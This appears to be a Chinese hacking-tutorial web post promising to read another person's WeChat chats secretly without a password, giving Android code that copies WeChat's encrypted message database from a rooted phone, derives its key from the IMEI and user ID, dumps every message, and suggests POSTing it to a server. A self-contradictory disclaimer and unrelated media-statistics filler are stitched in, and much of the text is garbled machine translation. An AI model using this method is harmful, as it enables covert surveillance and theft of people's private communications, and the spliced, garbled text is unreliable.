没有密码怎么查别人微信聊天记录?如何获取他人微信聊天记录不被发现


没有密码怎么查别人微信聊天记录?如何获取他人微信聊天记录不被发现,远程偷看微信聊天记录,查找别人微信聊天记录!新浪网2018年9月10日报道:媒体们的微信公众号加起来有23亿粉丝,这么多粉丝表示什么?

没有密码怎么查别人微信聊天记录?用什么方法获取他人微信聊天记录不被发现。有一种方法很隐蔽的,就是通过代码去获取别人微信记录,那么详细代码内容是什么,本文对Android怎么获取微信的聊天记录并保存到数据库进行说明。 样本代码中介绍的内容非常详细,具有给Android开发人员提供参考的学习价值,需要的人请从下面看。


事先说明: (这种方法只适用于监视自己的微信或QQ,不能监视或盗窃别人的聊天日志。 本文仅叙述了聊天日志的取得方法,但服务的落地顺序并不复杂,省略了说明。 写的急,如有错字,敬请谅解。 )中被调用,将发生故障为了得到黑产群的动作,同事潜伏在大量的黑产群( QQ微信)中,做着无间道的工作。 随着黑产群数量的急剧增加,同事想自动取得黑产群的聊天信息,为风险评价提供风控引擎。 所以我接受了这样的工作分析了要求说明,总结了以下内容:


自动获取微通道聊天日志

如果有文字、照片、表情的包装、声音等,
在后台自动运行,不实时获取日志


准备工作


参照了很多相关的报道之后,对这个需求抱着粗略的观点开始准备了。
是使用红米5的具有root权限的手机
Android的开发环境
关于Android的开发经验(我在PHP中第一次写Android程序时,踩了很多洞)
获取微聊天日志
说明:
微信的聊天日志保存在“/ data/data/com.Tencent.mm/micromsg/c5FB 89 d 4729 f 72 c 345711 CB */enfmicomsg.db”中。此语句是一个加密的数据库文件,必须使用SQL cipher打开。 密码是MD5(手机imei +微信uin )的前7位。 文件所在的带有扰码的文件夹的名称也是加密MD 5的值。 MD5( ' mm ' +微通道uin )。 微信的uin将纳入微信文件夹/data/data/com.Tencent.mmshared _ prefs/system _ config _ prefs.XML中。 (这个负号一定要有! )中被调用,将发生故障attachments-2018-09-P9SAfsg25b95e1f4c434另外,手机为双卡时,imei编号为2,imei 1为默认选择。 否则,请尝试以下字符串“123456789abcdef”。 早期的微信将决定imei。 默认情况下,此字符串为空。attachments-2018-09-cbgRmXwA5b95e23b2f56获取密码后,可以打开enmicromsg.db。 微通道聊天日志,包括个人在内,组的所有记录都存在于message表中。 代码实现 第一步不能直接访问enmicromsg.db。 没有权限,为了避免与微信本身竞争,选择将此文件复制到项目下:

oldPath ="/data/data/com.tencent.mm/MicroMsg/c5fb89d4729f72c345711cb**\***/EnMicroMsg.db";newPath ="/data/data/com.你的项目/EnMicroMsg.db";copyFile(oldPath,newPath);//代码见 部分源码


第二步,拿到文件的密码:String password = (MD5Until.md5("IMEI+微信UIN").substring(0, 7).toLowerCase());


第三步,打开文件,执行SQL:SQLiteDatabase.loadLibs(context);SQLiteDatabaseHook hook = new SQLiteDatabaseHook() { public void preKey(SQLiteDatabase database) { }  public void postKey(SQLiteDatabase database) {  database.rawExecSQL("PRAGMA cipher_migrate;");//很重要 }};SQLiteDatabase db = openDatabase(newPath, password, null, NO_LOCALIZED_COLLATORS, hook); long now = System.currentTimeMillis(); Log.e("readWxDatabases", "读取微信数据库:" + now); int count = 0; if (msgId != "0") {  String sql = "select * from message";  Log.e("sql", sql);  Cursor c = db.rawQuery(sql, null);  while (c.moveToNext()) {   long _id = c.getLong(c.getColumnIndex("msgId"));   String content = c.getString(c.getColumnIndex("content"));   int type = c.getInt(c.getColumnIndex("type"));   String talker = c.getString(c.getColumnIndex("talker"));   long time = c.getLong(c.getColumnIndex("createTime"));   JSONObject tmpJson = handleJson(_id, content, type, talker, time);   returnJson.put("data" + count, tmpJson);   count++;  }  c.close();  db.close();  Log.e("readWxDatanases", "读取结束:" + System.currentTimeMillis() + ",count:" + count); }


到此,就可以拿到微信的聊天记录了,之后可以直接将整理好的JSON通过POST请求发到服务器就可以了。(忍不住吐槽:写服务器落地程序用了30分钟,写上面这一坨花了三四天,还不包括搭建开发环境,下载SDK,折腾ADB什么的)获取他人微信聊天记录到这里就可以实现了。


CEO马化腾在2018年媒体融合发展论坛上说,近年来移动化、社会化、智能化成为新媒体发展的新趋势,读者的阅读习惯正在向移动方和社交媒体平台过渡。 许多主要媒体通过权威的专业信息和生动的表现,在微型通信平台上成功地实现了媒体整合的转型。 现在,组织运营的微信的一般账号中,尽管媒体号不到1 %,但粉丝总量还是达到了近23亿人,充分体现了主要媒体传播领域的权威和影响力。

  • 发表于 2018-09-10 11:24
  • 阅读 202
  • 分类:互联网

猜你喜欢

相关问题

0 条评论

请先 登录 后评论
黑客
黑客

黑客技术入门教程

281 篇经验

最近更新 浏览排行 经验分享